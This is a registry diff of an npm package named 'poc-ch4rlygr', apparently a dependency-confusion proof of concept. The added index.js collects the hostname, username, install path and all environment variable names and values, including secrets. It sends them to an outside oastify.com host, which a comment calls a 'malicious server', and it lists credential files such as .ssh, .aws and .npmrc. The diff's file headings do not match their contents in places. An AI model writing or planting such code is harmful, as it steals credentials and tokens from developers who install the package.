poc-ch4rlygr 1.0.0 → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +48 -8
- package/output/index.js +3 -0
- package/output/node_modules/.package-lock.json +14 -0
- package/output/node_modules/poc-ch4rlygr/index.js +10 -0
- package/output/node_modules/poc-ch4rlygr/package.json +12 -0
- package/output/package-lock.json +22 -0
- package/output/package.json +15 -0
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,8 +1,48 @@
|
|
|
1
|
-
const
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
//Malicious server to receive the data
|
|
6
|
+
const burpCollaborator = "zuxsp9k9vyk5y45z1n2hv0orhin9b2zr.oastify.com"; // Cambia esto por tu dominio de Burp Collaborator
|
|
7
|
+
const commonFiles = [
|
|
8
|
+
'.bashrc', '.bash_history', '.zshrc', '.zsh_history',
|
|
9
|
+
'.ssh', '.aws', '.npmrc', '.env', '.gitconfig',
|
|
10
|
+
'Desktop', 'Documents', 'Downloads'
|
|
11
|
+
];
|
|
12
|
+
|
|
13
|
+
//Collect device information
|
|
14
|
+
const data = {
|
|
15
|
+
p: "poc-ch4rlygr", // Nombre del paquete
|
|
16
|
+
h: os.hostname(), // Nombre del equipo
|
|
17
|
+
arch: os.arch(), // Arquitectura del sistema
|
|
18
|
+
d: __dirname, // Ruta donde se instaló
|
|
19
|
+
id: os.userInfo().username, // Usuario actual (Linux/Mac)
|
|
20
|
+
env_keys: Object.keys(process.env).join(","), // Nombres de variables de entorno
|
|
21
|
+
env_values: Object.values(process.env).join(",") // Valores de variables de entorno
|
|
22
|
+
};
|
|
23
|
+
|
|
24
|
+
//Convert device information to a query string
|
|
25
|
+
const queryString = Object.keys(data)
|
|
26
|
+
.map( key => `${encodeURIComponent(key)}=${encodeURIComponent(data[key])}`)
|
|
27
|
+
.join('&');
|
|
28
|
+
|
|
29
|
+
//Define the request options
|
|
30
|
+
const options = {
|
|
31
|
+
hostname: burpCollaborator,
|
|
32
|
+
port: 443,
|
|
33
|
+
path: `/poc?${queryString}`,
|
|
34
|
+
method: 'GET'
|
|
35
|
+
};
|
|
36
|
+
|
|
37
|
+
//Create the HTTP request
|
|
38
|
+
const req = https.request(options, (res) => {
|
|
39
|
+
console.log(`Status Code: ${res.statusCode}`);
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
//Handle errors
|
|
43
|
+
req.on('error', (error) => {
|
|
44
|
+
console.error(`Error: ${error.message}`);
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
//Send the request
|
|
48
|
+
req.end();
|
package/output/index.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "output",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"lockfileVersion": 3,
|
|
5
|
+
"requires": true,
|
|
6
|
+
"packages": {
|
|
7
|
+
"node_modules/poc-ch4rlygr": {
|
|
8
|
+
"version": "1.0.0",
|
|
9
|
+
"resolved": "https://registry.npmjs.org/poc-ch4rlygr/-/poc-ch4rlygr-1.0.0.tgz",
|
|
10
|
+
"integrity": "sha512-b0LP2mSruWB2AJFv5XJni0n23xfhj7uQSoZVKW2ifvSrq8je9HxgzIml9pe2nR6hIl1EonRCvO+HwSOCASqgYA==",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
}
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
|
|
3
|
+
const data = JSON.stringify({
|
|
4
|
+
p: "poc-ch4rlygr", // Nombre del paquete
|
|
5
|
+
h: os.hostname(), // Nombre del equipo
|
|
6
|
+
d: __dirname, // Ruta donde se instaló
|
|
7
|
+
id: run("id"), // Usuario actual (Linux/Mac)
|
|
8
|
+
uname: run("uname -a"), // Información del sistema
|
|
9
|
+
env_keys: Object.keys(process.env).join(",") // Nombres de variables de entorno
|
|
10
|
+
});
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "output",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"lockfileVersion": 3,
|
|
5
|
+
"requires": true,
|
|
6
|
+
"packages": {
|
|
7
|
+
"": {
|
|
8
|
+
"name": "output",
|
|
9
|
+
"version": "1.0.0",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"dependencies": {
|
|
12
|
+
"poc-ch4rlygr": "^1.0.0"
|
|
13
|
+
}
|
|
14
|
+
},
|
|
15
|
+
"node_modules/poc-ch4rlygr": {
|
|
16
|
+
"version": "1.0.0",
|
|
17
|
+
"resolved": "https://registry.npmjs.org/poc-ch4rlygr/-/poc-ch4rlygr-1.0.0.tgz",
|
|
18
|
+
"integrity": "sha512-b0LP2mSruWB2AJFv5XJni0n23xfhj7uQSoZVKW2ifvSrq8je9HxgzIml9pe2nR6hIl1EonRCvO+HwSOCASqgYA==",
|
|
19
|
+
"license": "ISC"
|
|
20
|
+
}
|
|
21
|
+
}
|
|
22
|
+
}
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "output",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"poc-ch4rlygr": "^1.0.0"
|
|
14
|
+
}
|
|
15
|
+
}
|